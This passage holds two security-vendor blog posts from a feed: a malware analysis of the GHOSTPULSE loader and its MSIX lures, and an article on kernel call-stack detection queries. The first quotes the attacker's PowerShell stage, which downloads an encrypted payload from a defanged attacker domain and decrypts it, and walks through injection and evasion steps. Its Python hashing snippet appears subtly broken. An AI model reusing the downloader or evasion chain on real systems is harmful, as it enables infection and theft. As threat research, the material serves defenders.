<p>Elastic Security Labs has observed a campaign to compromise users with signed <a href="https://learn.microsoft.com/en-us/windows/msix/overview">MSIX</a> application packages to gain initial access. The campaign leverages a stealthy loader we call GHOSTPULSE which decrypts and injects its final payload to evade detection.</p>
<p>MSIX is a Windows app package format that developers can leverage to package, distribute, and install their applications to Windows users. With <a href="https://learn.microsoft.com/en-us/windows/msix/app-installer/app-installer-root">App Installer</a>, MSIX packages can be installed with a double click. This makes them a potential target for adversaries looking to compromise unsuspecting victims. However, MSIX requires access to purchased or stolen code signing certificates making them viable to groups of above-average resources.</p>
<p>In a common attack scenario, we suspect the users are directed to download malicious MSIX packages through <a href="https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates">compromised websites</a>, search-engine optimization (SEO) techniques, or malvertising. The masquerading themes we’ve observed include installers for Chrome, Brave, Edge, Grammarly, and WebEx to highlight a few.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image5.png" alt="" /></p>
<p>From the user's perspective, the “Install” button appears to function as intended. No pop-ups or warnings are presented. However, a PowerShell script is covertly used to download, decrypt, and execute GHOSTPULSE on the system.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image10.jpg" alt="" /></p>
<h2>Malware Analysis</h2>
<p>The GHOSTPULSE loader can be broken down into 3 stages (sometimes preceded by a PowerShell script) used to execute a final payload.</p>
<h3>Stage 0</h3>
<p>We consider the PowerShell script dropped by the malicious MSIX installer to be the stage 0 payload. The PowerShell script is typically included in MSIX infection vectors, but not always in other GHOSTPULSE infection methods (MSI, EXE, ISO). In one sample, the PowerShell script downloads a GPG-encrypted file from <code>manojsinghnegi[.]com/2.tar.gpg</code>.</p>
<p>Next, the PowerShell script decrypts the file using the command-line GPG utility using the following parameters:</p>
<ul>
<li><code>putin</code> - the passphrase for the GPG file</li>
<li><code>--batch</code> - execute GPG in non-interactive mode</li>
<li><code>--yes</code> - answer “yes” to any prompts</li>
<li><code>--passphrase-fd 0</code> - read the passphrase from a file descriptor, 0 instructs GPG to use STDIN, which is putin</li>
<li><code>--decrypt</code> - decrypt a file</li>
<li><code>--output</code> - what to save the decrypted file as</li>
</ul>
<pre><code># 1
$url = &quot;https://manojsinghnegi[.]com/2.tar.gpg&quot;
$outputPath = &quot;$env:APPDATA\$xxx.gpg&quot;
Invoke-WebRequest -Uri $url -OutFile $outputPath

# 1
echo 'putin' | .$env:APPDATA\gpg.exe --batch --yes --passphrase-fd 0 --decrypt --output $env:APPDATA\$xxx.rar $env:APPDATA\$xxx.gpg
</code></pre>
<p>The GPG utility is included in the malicious MSIX installer package.</p>
<p>The decrypted file is a tar archive containing an executable <code>VBoxSVC.exe</code> which is in reality a renamed signed <code>gup.exe</code> executable that is used to update Notepad++, which is vulnerable to sideloading, an encrypted file in one example <code>handoff.wav</code> and a mostly benign library <code>libcurl.dll</code> with one of its functions overwritten with malicious code. The PowerShell executes the binary <code>VBoxSVC.exe</code> that will side load from the current directory the malicious DLL <code>libcurl.dll</code>. By minimizing the on-disk footprint of encrypted malicious code, the threat actor is able to evade file-based AV and ML scanning.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image11.png" alt="File metadata of VBoxSVC.bin" /></p>
<h3>Stage 1</h3>
<p>The first stage of GHOSTPULSE is embedded within a malicious DLL that undergoes side-loading through a benign executable. Execution of the corresponding code is triggered during the <em>DllEntryPoint</em> phase.</p>
<p>The process is initiated by pinpointing the base address of the malicious DLL of <code>libcurl.dll</code>, achieved through parsing the <em>InLoadOrderModuleList</em> API. This list, residing in the Process Environment Block (PEB), systematically records information about loaded modules.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image13.png" alt="Parsing the InLoadOrderModuleList structure" /></p>
<p>Next, GHOSTPULSE builds an Import Address Table (IAT) incorporating essential APIs. This operation involves parsing the <em>InLoadOrderModuleList</em> structure within the Process Environment Block (PEB).</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image13.png" alt="Stage 1 hashing algorithm" /></p>
<pre><code class="language-python"># Python code used for API hashing
def calculate_api_name_hash(api_name):
    value = 0
    for char in input_string:
        total = (ord(char) + value *0x1003F)&amp;0xFFFFFFFF
    return value 
</code></pre>
<p>Below is the Stage 1 IAT structure reconstructed from the GHOSTPULSE malware sample, provided for reference:</p>
<pre><code class="language-c">struct core_stage1_IAT
{
void *kernel32_LoadLibraryW;
void *kernel32_QueryPerformanceCounter;
void *ntdll_module;
void *kernel32_CloseHandle;
__int64 field_20;
__int64 field_28;
__int64 field_30;
__int64 field_38;
void *kernel32_GetTempPathW;
void *kernel32_GetModuleFileNameW;
__int64 field_50;
__int64 field_58;
__int64 field_60;
void *ntdll__swprintf;
__int64 field_70;
__int64 field_78;
__int64 (__fastcall *ntdll_RtlDecompressBuffer)(__int64, __int64, _QWORD, __int64, int, int *);
void *kernel32_CreateFileW;
void *kernel32_ReadFile;
void *ntdll_NtQueryInformationProcess;
void *kernel32_GetFileSize;
__int64 field_A8;
void *kernel32_module;
__int64 field_B8;
void *ntdll_NtDelayExecution;
__int64 (__fastcall *kernel32_GlobalAlloc)(__int64, __int64);
__int64 field_D0;
void *kernel32_GlobalFree;
__int64 field_E0;
void *ntdll_RtlQueryEnvironmentVariable_U;
};
</code></pre>
<p>It then proceeds with its operation by reading and parsing the file named <code>handoff.wav</code> from the current directory. This file contains an encrypted data blob divided into distinct chunks. Each chunk of data is positioned following the string IDAT. The parsing process involves the malware executing through two distinct steps.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image14.png" alt="Reading and decrypting the encrypted file" /></p>
<p>The initial phase involves identifying the commencement of the encrypted data by searching for the IDAT string in the file, which is followed by a distinctive 4-byte tag value. If the tag corresponds to the value stored in the malware's configuration, the malware extracts the bytes of the encrypted blob. The initial structure is as follows:</p>
<pre><code class="language-c">struct initial_idat_chunk
{
  DWORD size_of_chunk;
  DWORD IDAT_string;
  DWORD tag;
  DWORD xor_key;
  DWORD size_of_encrypted_blob;
  _BYTE first_chunk[];
};
</code></pre>
<ul>
<li><strong>size_of_chunk</strong>: The malware utilizes this value, performing bits shifting to determine the chunk size to extract before the next occurrence of IDAT.</li>
<li><strong>xor_key</strong>: A 4-byte long XOR key employed for decrypting the consolidated encrypted blob after extraction</li>
<li><strong>size_of_encrypted_blob</strong>: Denotes the overall size of the encrypted blob, which is stored in chunks within the file</li>
<li><strong>first_chunk</strong>: Marks the start of the first chunk of data in memory</li>
</ul>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image2.png" alt="" /></p>
<p>In the second step, the malware locates the next occurrence of IDAT and proceeds to extract the encrypted chunks that follow it which has the following format:</p>
<pre><code class="language-c">struct next_idat_chunk
{
DWORD size_of_chunk;
DWORD IDAT_string;
_BYTE n_chunk[];
};
</code></pre>
<ul>
<li><strong>size_of_chunk</strong>: The malware utilizes this value, performing bits shifting to determine the chunk size to extract before the next occurrence of IDAT.</li>
<li><strong>n_chunk</strong>: Marks the start of the chunk of data in memory</li>
</ul>
<p>The malware continues extracting encrypted data chunks until it reaches the specified size_of_encrypted_blob. Subsequently, the malware proceeds to decrypt the data using the 4-byte XOR key <em>xor_key</em>.</p>
<p>At this stage, the data blob, which is already compressed, undergoes decompression by the malware. The decompression process utilizes the <code>RtlDecompressBuffer</code> api.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image1.png" alt="Decompression using the RtlDecompressBuffer API" /></p>
<p>The malware proceeds by loading a specified library stored in its configuration, in this case, <code>mshtml.dll</code>, utilizing the <em>LoadLibraryW</em> function. Shellcode (Stage 2) contained inside the decrypted and decompressed blob of data is written to the .text section of the freshly loaded DLL and then executed.</p>
<p>This technique is known as “module stomping”. The following image shows the associated <em>VirtualProtect</em> API calls captured with <a href="https://www.elastic.co/es/guide/en/security/current/install-endpoint.html">Elastic Defend</a> associated with the module stomping:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image4.png" alt="" /></p>
<h3>Stage 2</h3>
<p>Stage 2 initiates by constructing a new IAT structure and utilizing the CRC32 algorithm as the API name hashing mechanism.
The following is the IAT structure of stage 2:</p>
<pre><code class="language-c">struct core_stage2_IAT
{
  void *kernel32_module;
  void *ntdll_module;
  void *kernel32_CreateFileW;
  void *kernel32_WriteFile;
  void *kernel32_ReadFile;
  void *kernel32_SetFilePointer;
  void *kernel32_CloseHandle;
  void *kernel32_GlobalAlloc;
  void *kernel32_GlobalFree;
  void *kernel32_ExpandEnvironmentStringsW;
  void *kernel32_GetFileSize;
  void *kernel32_GetProcAddress;
  void *kernel32_LoadLibraryW;
  void *ntdll__swprintf;
  void *kernel32_QueryPerformanceCounter;
  void *ntdll_RtlDecompressBuffer;
  void *field_80;
  void *field_88;
  void *field_90;
  void *field_98;
  void *field_A0;
  void *ntdll_NtDelayExecution;
  void *ntdll_RtlRandom;
  void *kernel32_GetModuleFileNameW;
  void *kernel32_GetCommandLineW;
  void *field_C8;
  void *ntdll_sscanf;
  void *field_D8;
  void *ntdll_NtQueryInformationProcess;
  void *ntdll_NtQuerySystemInformation;
  void *kernel32_CreateDirectoryW;
  void *kernel32_CopyFileW;
  void *ntdll_NtClose;
  void *field_108;
  void *field_110;
  void *field_118;
  void *field_120;
  void *field_128;
  void *kernel32_SetCurrentDirectoryW;
  void *field_138;
  void *kernel32_SetEnvironmentVariableW;
  void *kernel32_CreateProcessW;
  void *kernel32_GetFileAttributesW;
  void *msvcrt_malloc;
  void *msvcrt_realloc;
  void *msvcrt_free;
  void *ntdll_RtlHashUnicodeString;
  void *field_178;
  void *field_180;
  void *kernel32_OpenMutexA;
  void *field_190;
  void *kernel32_VirtualProtect;
  void *kernel32_FlushInstructionCache;
  void *field_1A8;
  void *ntdll_NtOpenProcessToken;
  void *ntdll_NtQueryInformationToken;
  void *ntdll_RtlWalkFrameChain;
  void *field_1C8;
  void *addr_temp_file_content;
  void *addr_decrypted_file;
};
</code></pre>
<p>Concerning NT functions, the malware reads the ntdll.dll library from disk and writes it to a dynamically allocated memory space with read, write, and execute permissions. Subsequently, it parses the loaded <code>ntdll.dll</code> library to extract the offsets of the required NT functions. These offsets are then stored within the newly built IAT structure. When the malware necessitates the execution of an NT API, it adds the API offset to the base address of <code>ntdll.dll</code> and directly invokes the API. Given that NT APIs operate at a very low level, they execute syscalls directly, which does not require the <code>ntdll.dll</code> library to be loaded in memory using the LoadLibrary API, this is done to evade userland hooks set by security products.</p>
<p>The following is the structure used by the malware to store NT API offsets:</p>
<pre><code class="language-c">struct __unaligned __declspec(align(4)) core_stage2_nt_offsets_table
{
  __int64 ntdll_module;
  int ZwCreateSection;
  int ZwMapViewOfSection;
  int ZwWriteVirtualMemory;
  int ZwProtectVirtualMemory;
  int NtSuspendThread;
  int ZwResumeThread;
  int ZwOpenProcess;
  int ZwGetContextThread;
  int NtSetContextThread;
};
</code></pre>
<p>GHOSTPULSE has the ability to establish persistence, if configured to, by generating an <code>.lnk</code> file that points to the Stage 1 binary, denoted as <code>VBoxSVC.exe</code>. To achieve this, the malware leverages COM (Component Object Model) objects as part of its technique.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image6.png" alt="Persistence executed according to the configuration flag" /></p>
<p>It extracts another sub-blob of data from the first decrypted blob of Stage 1. This data is located at a specific position in the structure. The malware then performs an XOR encryption on this sub-blob, using the result of the XOR operation between the CRC32 value of the machine's computer name and the constant value <code>0xA1B2D3B4</code>. Finally, the encrypted data is saved to a file in the user's temporary folder.
It extracts another sub-blob of data from the first decrypted blob of Stage 1. This data is located at a specific position in the structure. The malware then performs an XOR encryption on this sub-blob, using the result of the XOR operation between the CRC32 value of the machine's computer name and the constant value <code>0xA1B2D3B4</code>. Finally, the encrypted data is saved to a file in the user's temporary folder.</p>
<p>The malware then initiates a suspended child process using the executable specified in the Stage 2 configuration, which is a 32-bit <code>cmd.exe</code> in this case. It then adds an environment variable to the child process with a random name, example: <code>GFHZNIOWWLVYTESHRTGAVC</code>, pointing to the previously created temporary file.</p>
<p>Further, the malware proceeds by creating a section object and mapping a view of it to <code>mshtml.dll</code> in the child process using the <code>ZwCreateSection</code> and <code>ZwMapViewOfSection</code> APIs.</p>
<p>The legitimate <code>mshtml.dll</code> code is overwritten with the <em>WriteProcessMemory</em> API. The primary thread’s execution is then redirected to the malicious code in <code>mshtml.dll</code> with the <em>Wow64SetThreadContext</em> API as shown in the following image:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image12.png" alt="" /></p>
<p>The parent process promptly terminates itself.</p>
<h3>Stage 3</h3>
<p>The objective of GHOSTPULSE’s Stage 3 is to load and execute the final payload in another  process. One interesting part of Stage 3 was that it overwrites its previously executed instructions with new instructions to make analysis difficult. It is also capable of establishing persistence using the same method described above. GHOSTPULSE executes NTDLL APIs using the &quot;<a href="https://www.zdnet.com/article/malware-authors-are-still-abusing-the-heavens-gate-technique/">heaven’s gate</a>&quot; technique.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image9.png" alt="" /></p>
<p>Stage 3 starts off by constructing its own Function Import Table using CRC32 as the hashing algorithm. Additionally, it has the capability to disable redirection of the file system to WOW64, achieved through the utilization of the procedure <code>Wow64FsRedirection</code>, if configured to do so.</p>
<p>Following this, Stage 3 accesses the environment variable that was set earlier, in our case <code>GFHZNIOWWLVYTESHRTGAVC</code>, retrieves the associated temporary file and proceeds to decrypt its contents.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image15.png" alt="Decrypting the temp file using the computer name and a hardcoded value" /></p>
<p>The decrypted file includes both a configuration and the ultimate payload in an encrypted format. The final payload undergoes XOR decryption using a 200-byte long key stored within the configuration. The malware then parses the PE structure of the payload with a set of functions that will indicate how the payload will be injected, for example, the type of payload (DLL or executable) architecture, etc.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image3.png" alt="Decrypting the final payload" /></p>
<p>GHOSTPULSE employs <a href="https://www.elastic.co/es/blog/process-ghosting-a-new-executable-image-tampering-attack">Process Doppelgänging</a>, leveraging the NTFS transactions feature to inject the final payload into a new child process. The following steps illustrate the process:</p>
<ul>
<li>Calls the <code>CreateTransaction</code> API to initial a transaction</li>
<li>Creates a transaction file with a random file name in temp folder with the <code>ZwCreateFile</code> API</li>
<li>Writes the payload to the temp file using the <code>ZwWriteFile</code> API</li>
<li>Creates a section of the transaction file with <code>ZwCreateSection</code> API</li>
<li>At this point the file is not needed anymore, the malware calls the <code>RollbackTransaction</code> API to roll the transaction back</li>
<li>GHOSTPULSE creates a suspended process with the target process path taken from it's configuration, in our sample <code>1msbuild.exe1</code></li>
<li>It maps a view of the section to the process with the <code>ZwMapViewOfSection</code> API</li>
<li>It sets the child process thread instruction pointer to the entry point of the final payload with the <code>NtSetContextThread</code> API</li>
<li>Finally it resumes the thread with the <code>NtResumeThread</code> API</li>
</ul>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image8.png" alt="Functions used to execute process doppelgänging technique" /></p>
<h3>Final Payload</h3>
<p>The final payload varies from sample to sample but is typically an information stealer. We have observed SectopRAT, Rhadamanthys, Vidar, Lumma, and NetSupport as final payloads. In SectopRAT samples, the malware first reaches out to Pastebin to retrieve the command and control address. In this case, it was <code>195.201.198[.]179</code> over TCP port <code>15647</code> as shown below:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image7.jpg" alt="" /></p>
<h2>Configuration extractor</h2>
<p>Alongside this research, the Elastic Security Research Team has provided a <a href="https://github.com/elastic/labs-releases/blob/main/tools/ghostpulse/ghostpulse_payload_extractor.py">configuration extractor</a> to allow threat researchers to continue work to discover further developments within this campaign and expand detection capabilities for our community. The extractor takes the encrypted file shipped with GHOSTPULSE as the input.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image16.png" alt="" /></p>
<h2>Detection Guidance</h2>
<p>Elastic Defend detects this threat with the following <a href="https://github.com/elastic/protections-artifacts/tree/main/behavior">behavior protection rules</a>:</p>
<ul>
<li>DNS Query to Suspicious Top Level Domain</li>
<li>Library Load of a File Written by a Signed Binary Proxy</li>
<li>Suspicious API Call from an Unsigned DLL</li>
<li>Suspicious Memory Write to a Remote Process</li>
<li>Process Creation from Modified NTDLL</li>
</ul>
<p>The following yara rule will also detect GHOSTPULSE loaders on disk:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_GhostPulse.yar">Windows.Trojan.GhostPulse</a></li>
</ul>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ghostpulse">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>78.24.180[.]93</td>
<td>ip-v4</td>
<td></td>
<td>Stage 0 C2 IP</td>
</tr>
<tr>
<td>manojsinghnegi[.]com</td>
<td>domain-name</td>
<td></td>
<td>Stage 0 C2 domain</td>
</tr>
<tr>
<td>manojsinghnegi[.]com/2.tar.gpg</td>
<td>url</td>
<td></td>
<td>Stage 0 C2 URL</td>
</tr>
<tr>
<td>0c01324555494c35c6bbd8babd09527bfc49a2599946f3540bb3380d7bec7a20</td>
<td>sha256</td>
<td>Chrome-x64.msix</td>
<td>Malicious MSIX</td>
</tr>
<tr>
<td>ee4c788dd4a173241b60d4830db128206dcfb68e79c68796627c6d6355c1d1b8</td>
<td>sha256</td>
<td>Brave-x64.msix</td>
<td>Malicious MSIX</td>
</tr>
<tr>
<td>4283563324c083f243cf9335662ecc9f1ae102d619302c79095240f969d9d356</td>
<td>sha256</td>
<td>Webex.msix</td>
<td>Malicious MSIX</td>
</tr>
<tr>
<td>eb2addefd7538cbd6c8eb42b70cafe82ff2a8210e885537cd94d410937681c61</td>
<td>sha256</td>
<td>new1109.ps1</td>
<td>PowerShell Downloader</td>
</tr>
<tr>
<td>49e6a11453786ef9e396a9b84aeb8632f395477abc38f1862e44427982e8c7a9</td>
<td>sha256</td>
<td>38190626900.rar</td>
<td>GHOSTPULSE tar archive</td>
</tr>
<tr>
<td>Futurity Designs Ltd</td>
<td>Code signer</td>
<td></td>
<td>Chrome-x64.msix code signer</td>
</tr>
<tr>
<td>Fodere Titanium Limited</td>
<td>Code signer</td>
<td></td>
<td>Brave-x64.msix code signer</td>
</tr>
<tr>
<td>IMPERIOUS TECHNOLOGIES LIMITED</td>
<td>Code signer</td>
<td></td>
<td>Webex.msix code signer</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<ul>
<li><a href="https://twitter.com/1ZRR4H/status/1699923793077055821">https://twitter.com/1ZRR4H/status/1699923793077055821</a></li>
<li><a href="https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/">https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/</a></li>
<li><a href="https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates">https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/photo-edited-05@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Upping the Ante: Detecting In-Memory Threats with Kernel Call Stacks]]></title>
            <link>https://www.elastic.co/es/security-labs/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks</link>
            <guid>upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks</guid>
            <pubDate>Wed, 31 May 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[We aim to out-innovate adversaries and maintain protections against the cutting edge of attacker tradecraft. With Elastic Security 8.8, we added new kernel call stack based detections which provide us with improved efficacy against in-memory threats.]]></description>
            <content:encoded><![CDATA[<h2>Intro</h2>
<p>Elastic Security for endpoint, with its roots in Endgame, has long led the industry for in-memory threat detection. We <a href="https://www.elastic.co/es/security-labs/hunting-memory">pioneered</a> and patented many detection technologies such as kernel <a href="https://image-ppubs.uspto.gov/dirsearch-public/print/downloadPdf/20170329973">thread start</a> preventions, call stack <a href="https://image-ppubs.uspto.gov/dirsearch-public/print/downloadPdf/11151247">anomaly hunting</a>, and <a href="https://image-ppubs.uspto.gov/dirsearch-public/print/downloadPdf/11151251">module stomping</a> discovery. However, adversaries continue to innovate and evade detections. For example, in response to our improved <a href="https://www.elastic.co/es/blog/detecting-cobalt-strike-with-memory-signatures">memory signature</a> protection, adversaries developed a flurry of new <a href="https://www.cobaltstrike.com/blog/cobalt-strike-and-yara-can-i-have-your-signature/">sleep based</a> evasions. We aim to out-innovate adversaries and maintain protections against the cutting edge of attacker tradecraft. With Elastic Security 8.8, we added new kernel call stack based detections which provide us with improved efficacy against in-memory threats.</p>
<p>Before we get started, it's important to know what call stacks are and why they’re valuable for detection engineering. A <a href="https://en.wikipedia.org/wiki/Call_stack">call stack</a> is the ordered sequence of functions that are executed to achieve a behavior of a program. It shows in detail which functions (and their associated modules) were executed to lead to a behavior like a new file or process being created. Knowing a behavior’s call stack, we can build detections with detailed contextual information about what a program is doing and how it’s doing it.</p>
<h2>Deep Visibility</h2>
<p>The new call stack based detection capability leverages our existing deep in-line kernel visibility for the most common system behaviors (process, file, registry, library, etc). With each event, we capture the call stack for the activity. This is later enriched with module information, symbols, and evidence of suspicious activity. This gives us <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/procmon">procmon</a>-like visibility in real-time, powering advanced preventions for in-memory tradecraft.</p>
<p>Process creation call stack fields : <img src="https://www.elastic.co/es/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image12.jpg" alt="" /></p>
<p>File, registry and library call stack fields: <img src="https://www.elastic.co/es/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image8.jpg" alt="" /></p>
<h2>New Rules</h2>
<p>Additional visibility wouldn’t raise the bar unless we could pair it with tuned, high confidence preventions. In 8.8, behavior protection comes out of the box with 30+ rules to provide us with high efficacy against cutting edge attacker techniques such as: - Direct syscalls - Callback-based evasion - Module Stomping - Library loading from unbacked region - Process created from unbacked region - Many more</p>
<p>Call stacks are a powerful data source that can be used to improve protection against non-memory-based threats as well. For example, the following EQL queries look for the creation of a child process or an executable file extension from an Office process with a call stack containing <code>VBE7.dll</code> (a strong sign of the presence of a macro-enabled document). This increases the signal and coverage of the rule logic while reducing the necessary tuning efforts compared to just process or file creation events with no call stack information:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image29.jpg" alt="" /></p>
<p>Below are some examples of matches where Macro-enabled malicious Excel and Word documents spawning a child process where the call stack refers to <code>vbe7.dll</code> :</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image9.jpg" alt="" /></p>
<p>Here, we can see a malicious XLL file opened via Excel spawning a legitimate <code>browser\_broker.exe</code> to inject into. The parent call stack indicates that the process creation call is coming from the <code>[xlAutoOpen](https://learn.microsoft.com/en-us/office/client-developer/excel/xlautoopen)</code> function:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image11.jpg" alt="" /></p>
<p>The same enrichment is also valuable in library load and registry events. Below is an example of loading the Microsoft Common Language Runtime <code>CLR.DLL</code> module from a suspicious call stack (unbacked memory region with RWX permissions) using the <a href="https://github.com/BishopFox/sliver/wiki/Using-3rd-party-tools">Sliver execute-assembly</a> command to load external .NET assemblies:</p>
<pre><code>library where dll.name : &quot;clr.dll&quot; and
process.thread.Ext.call_stack_summary : &quot;*mscoreei.dll|Unbacked*&quot;
</code></pre>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image4.jpg" alt="" /></p>
<p>Hunting for suspicious modification of certain registry keys such as the Run key for persistence tends to be noisy and very common in legit software but if we add the call stack signal to the logic, the suspicion level is significantly increased :</p>
<pre><code>registry where 
 registry.path : &quot;H*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*&quot;
// the creating thread's stack contains frames pointing outside any known executable image
 and process.thread.Ext.call_stack_contains_unbacked == true
</code></pre>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image2.jpg" alt="" /></p>
<p>Another “fun” example is the use of the call stack information to detect rogue instances of core system processes that normally have very specific functionality. By signaturing their normal call stacks, we can easily identify outliers. For example, <code>WerFault.exe</code> and <code>wermgr.exe</code> are among the most attractive targets for masquerading:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image30.jpg" alt="" /></p>
<p>Examples of matches:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image9.jpg" alt="" /></p>
<p>Apart from the use of call stack data for finding suspicious behaviors, it’s also useful when it comes to excluding false positives from behavior detections in a more granular way. This also helps reduce evasion opportunities.</p>
<p>A good example is a detection rule looking for unusual Microsoft Office child processes. This rule is used to <a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_microsoft_office_fetching_remote_content.toml#L26">exclude</a> <code>splwow64.exe</code> , which can be legitimately spawned by printing activity. Excluding it by <code>process.executable</code> creates an evasion opportunity via process hollowing or injection, which can make the process tree look normal. We can now mitigate this evasion by requiring such process creations to come from <code>winspool.drv!OpenPrinter</code> :</p>
<pre><code>process where event.action == &quot;start&quot; and
  process.parent.name : (&quot;WINWORD.EXE&quot;, &quot;EXCEL.EXE&quot;, &quot;POWERPNT.EXE&quot;, &quot;MSACCESS.EXE&quot;, &quot;mspub.exe&quot;, &quot;fltldr.exe&quot;, &quot;visio.exe&quot;) and
// excluding splwow64.exe only if it’s parent callstack is coming from winspool.drv module  
not (process.executable : &quot;?:\\Windows\\splwow64.exe&quot; and``_arraysearch(process.parent.thread.Ext.call_stack, $entry, $entry.symbol_info: (&quot;?:\\Windows\\System32\\winspool.drv!OpenPrinter*&quot;, &quot;?:\\Windows\\SysWOW64\\winspool.drv!OpenPrinter*&quot;)))
</code></pre>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image3.jpg" alt="" /></p>
<p>To reduce event volumes, call stack information is collected on the endpoint and processed for detections but not always streamed in events. To always include call stacks in streamed events an advanced option is available in Endpoint policy:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image7.jpg" alt="" /></p>
<h2>C2 Coverage</h2>
<p>Elastic Endpoint makes quick work detecting some of the top C2 frameworks active today. See below for a screenshot detecting Nighthawk, BruteRatel, CobaltStrike, and ATP41’s <a href="https://www.trendmicro.com/vinfo/gb/security/news/cybercrime-and-digital-threats/earth-baku-returns">StealthVector</a>.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image5.jpg" alt="" /></p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image10.jpg" alt="" /></p>
<h2>Conclusion</h2>
<p>While this capability gives us a lead over the cutting edge of in-memory tradecraft today, attackers will no doubt develop <a href="https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs">new innovations</a> in attempts to evade it. That’s why we are already hard at work to deliver the next set of leading in-memory detections. Stay tuned!</p>
<h2>Resources</h2>
<p>Rules released with 8.8:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_execution_from_a_macro_enabled_office_document.toml">Execution from a Macro Enabled Office Document</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_macro_execution_via_windows_scripts.toml">Suspicious Macro Execution via Windows Scripts</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_suspicious_file_dropped_by_a_macro_enabled_document.toml">Suspicious File Dropped by a Macro Enabled Document</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_shortcut_file_modification_via_macro_enabled_document.toml">Shortcut File Modification via Macro Enabled Document</a></li>
